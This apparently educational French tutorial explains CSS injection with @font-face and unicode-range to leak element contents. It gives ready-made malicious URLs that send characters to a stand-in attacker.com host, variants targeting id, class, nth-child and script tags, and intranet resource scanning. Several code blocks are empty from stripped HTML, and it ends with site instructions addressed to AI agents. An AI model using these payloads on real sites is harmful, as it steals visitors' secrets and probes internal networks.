# Les injections CSS - Règle @font-face et descripteur unicode > Dans cet article, l'exploitation de l'injection CSS ne va plus cibler le contenu des attributs HTML, mais le contenu des éléments HTML, avec certaines limitations toutefois. ## Utilisation de la règle @font-face et du descripteur unicode L'inconvénient de la méthode précédente est qu'elle ne permet pas de récupérer le contenu d'un élément HTML, mais seulement la valeur d'un attribut. L'utilisation de la règle `@font-face` peut permettre de contourner cette limitation. ### Récupération d'information en fonction de l'élément HTML Le code vulnérable suivant possède un élément HTML `` ayant comme contenu une information sensible propre au visiteur : {% code overflow="wrap" %} ```html

Injection CSS - récupération de la valeur d'un élément HTML via @font-face et descripteur unicode

s3cr3t ``` {% endcode %}
L'attaquant souhaite évidemment récupérer le contenu de l'élément `` qui contient ce secret. Pour cela, il va utiliser la règle `@font-face` ainsi qu'un code unicode grâce au descripteur `unicode-range` représentant le caractère à tester. Il faudra également spécifier une URL distante permettant de récupérer le caractère identifié ainsi qu'une police d'écriture permettant de l'appliquer sur l'élément HTML ciblé : {% code overflow="wrap" %} ```html ``` {% endcode %} Par exemple, si l'attaquant tente de savoir si le secret contient le caractère "s", le lien à fournir à la victime est le suivant : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=s);unicode-range:U%2b0073}span{font-family:attack;} ``` {% endcode %} {% hint style="warning" %} Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b". {% endhint %} {% code overflow="wrap" %} ```http GET /?leak=s HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
Il y a donc bien un "s" dans le secret de la victime. L'attaquant peut ainsi continuer d'exfiltrer les autres caractères présents dans le secret : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=3);unicode-range:U%2b0033;}span{font-family:attack;} ``` {% endcode %} {% code overflow="wrap" %} ```http GET /?leak=3 HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
Malheureusement, cette technique possède plusieurs limitations : il n'est pas possible de connaitre les caractères dupliqués (plusieurs caractères "3" dans l'exemple ci-dessus) ni l'ordre d'apparition de ces caractères. ### Récupération en fonction de l'id Dans l'exemple précédent, tous les éléments `` seront analysés, il sera difficile pour l'attaquant d'identifier quel caractère provient de quel élément de la page vulnérable. Pour contourner cela, il est possible de cibler un attribut `id` : {% code overflow="wrap" %} ```html

Injection CSS - récupération de la valeur d'un élément HTML par son id via @font-face et descripteur unicode

s3cr3t ``` {% endcode %}
En CSS le caractère `#` va permettre de sélectionner un attribut `id` spécifique : {% code overflow="wrap" %} ```html ``` {% endcode %} Le lien malicieux permettant l'exploitation en fonction de la valeur de l'attribut `id` est alors le suivant : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode-par-id.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=s);unicode-range:U%2b0073;}%23secret{font-family:attack;} ``` {% endcode %} {% hint style="warning" %} Attention à bien encoder les caractères "+" et "#" par leur équivalent URL encodée, respectivement "%2b" et %23". {% endhint %} {% code overflow="wrap" %} ```http GET /?leak=s HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
### Récupération en fonction de la classe De la même façon, il est possible de cibler un attribut `class` au lieu d'un attribut `id` : {% code overflow="wrap" %} ```html

Injection CSS - récupération de la valeur d'un élément HTML par sa class via @font-face et descripteur unicode

s3cr3t ``` {% endcode %}
Ici, c'est le caractère `.` qui va permettre de sélectionner l'attribut `class` désiré : {% code overflow="wrap" %} ```html ``` {% endcode %} Le lien malicieux permettant l'exploitation en fonction de la valeur de l'attribut `class` est alors le suivant : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode-par-class.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=s);unicode-range:U%2b0073;}.secret{font-family:attack;} ``` {% endcode %} {% hint style="warning" %} Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b". {% endhint %} {% code overflow="wrap" %} ```http GET /?leak=s HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
Dans le cas où il existe plusieurs éléments HTML portant le nom de `class`, il est possible de cibler précisément celle désirée en utilisant la pseudo-classe CSS `nth-child(n)` () : {% code overflow="wrap" %} ```html

Injection CSS - récupération de la valeur d'un élément HTML par sa class via @font-face, descripteur unicode et nth-child()

notImportant s3cr3t ``` {% endcode %}
L'ajout de la pseudo-class `nth-child()` va permettre de sélectionner seulement le second élément HTML ayant l'attribut class désiré : {% code overflow="wrap" %} ```html ``` {% endcode %} Le lien malicieux permettant l'exploitation en fonction de la valeur de l'attribut `class` ainsi que de la position de l'élément ciblé est alors le suivant : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode-par-class-via-nth-child.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=s);unicode-range:U%2b0073;}.secret:nth-child(3){font-family:attack;} ``` {% endcode %} {% hint style="warning" %} Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b". {% endhint %} {% code overflow="wrap" %} ```http GET /?leak=s HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
### Récupération du contenu d'une balise \ En temps normal, il n'est pas possible de récupérer de l'information contenue dans une balise ``: {% code overflow="wrap" %} ```html

Injection CSS - récupération de la valeur d'un élément HTML <script> via @font-face et descripteur unicode

``` {% endcode %}
La raison est que le texte contenu dans ces balises n'est pas affiché et ne déclenche jamais les règles de style utilisées par l'attaque. Pour contourner cela, il est possible d'ajouter l'instruction CSS diplay:block au niveau des balises de script : {% code overflow="wrap" %} ```css script { display: block; } ``` {% endcode %} Cela a pour effet de faire apparaitre le contenu de la balise et ainsi déclencher la règle CSS `@font-face` (la victime pourra également voir le contenu pendant l'exploitation) :
Le code CSS complet est le suivant : ```html ``` Le lien malicieux permettant l'exploitation avec la nouvelle instruction CSS devient : 
https://vulnerable.com/font-face-et-descripteur-unicode-script.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=s);unicode-range:U%2b0073;}script{display:block;font-family:attack;}
{% hint style="warning" %} Attention à bien encoder le caractère "+" par son équivalent URL encodée "%2b". {% endhint %} {% code overflow="wrap" %} ```http GET /?leak=s HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
{% hint style="info" %} Bien sur, ici l'attaquant va également récupérer les caractères composants les mots clés de Javascript, par exemple "var" ici. {% endhint %} ### Automatisation de l'attaque L'attaque étant limitée (il est seulement possible de savoir si un caractère est présent ou non) l'exploitation par injection d'iframe effectuée pour les sélecteurs CSS n'est pas obligatoire. Afin de déterminer la présence de caractères alphanumériques (non sensibles à la casse) le partage d'un seul lien malicieux peut être suffisant. Exemple de 5 requêtes représentant l'information "s3cr3t" récupérée :
Un PoC est disponible [ici](https://github.com/Sharpforce/cybersecurity-code/tree/master/les-injections-css-regle-font-face-et-descripteur-unicode). ```html

Injection CSS - récupération de la valeur d'un élément HTML via @font-face et descripteur unicode

s3cr3t ```
### Scanner des services et des ressources Si l'attaquant est également en mesure de contrôler un élément HTML tel qu'un ``, il devient alors possible de scanner des services réseaux ainsi que des ressources HTTP. Le code vulnérable utilisé dans les prochains exemples est le suivant : {% code overflow="wrap" %} ```html

Injection CSS - Scanner des ressources via @font-face

Error ``` {% endcode %} L'élément HTML `` va afficher le contenu récupéré en requêtant l'URL de l'attribut `data`:
Si aucune information n'est récupérée (hôte non joignable, ressource non trouvée, etc) le texte alternatif `Error` sera alors affiché à l'utilisateur :
En analysant le site vulnérable, l'attaquant identifie un endpoint contenant l'identifiant de l'utilisateur actuel : `http://vulnerable.com/users.php?id={id}`. Pour l'attaquant, l'URL est `http://vulnerable.com/users.php?id=967344`. Afin d'exploiter une seconde vulnérabilité plus sévère, il souhaite connaitre l'identifiant de sa victime. Pour cela, il va tout d'abord exploiter l'injection CSS et utiliser l'élément HTML ``. Le style à appliquer sera le suivant : {% code overflow="wrap" %} ```html ``` {% endcode %} La première tentative va être l'identifiant `1`. Si ce n'est pas celui de la victime alors l'attaquant recevra une requête en retour. Le lien malicieux à envoyer à la victime pour cette attaque est le suivant : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode-scanner-de-ressources.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=1);unicode-range:U%2b0045;}%23attacker{font-family:attack;}&url=https://vulnerable.com/users.php?id=1 ``` {% endcode %} {% hint style="warning" %} Attention à bien encoder les caractères "+" et "#" par leur équivalent URL encodée, respectivement "%2b" et %23". {% endhint %} {% code overflow="wrap" %} ```http GET /?leak=1 HTTP/1.1 Host: attacker.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Referer: https://vulnerable.com Connection: close ``` {% endcode %}
Il faut donc continuer l'attaque jusqu'à deviner l'identifiant et qu'aucune requête ne soit reçue par l'attaquant. Cette technique rend également possible de scanner des hôtes (adresse IP ou nom de domaine) pouvant répondre à une requête HTTP. Ici, l'attaquant souhaite par exemple savoir si un serveur HTTP est accessible sur l'intranet de la victime : {% code overflow="wrap" %} ``` https://vulnerable.com/font-face-et-descripteur-unicode-scanner-de-ressources.php?color=red;}@font-face{font-family:attack;src:url(https://attacker.com/?leak=1);unicode-range:U%2b0045;}%23attacker{font-family:attack;}&url=https://internal.vulnerable.com/ ``` {% endcode %} Si tel est bien le cas, l'attaquant ne recevra pas de requête déclenchée par l'application du style CSS. ## Références * * --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://sharpforce.gitbook.io/cybersecurity/mes-articles/2022/novembre/les-injections-css-regle-font-face-et-descripteur-unicode.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.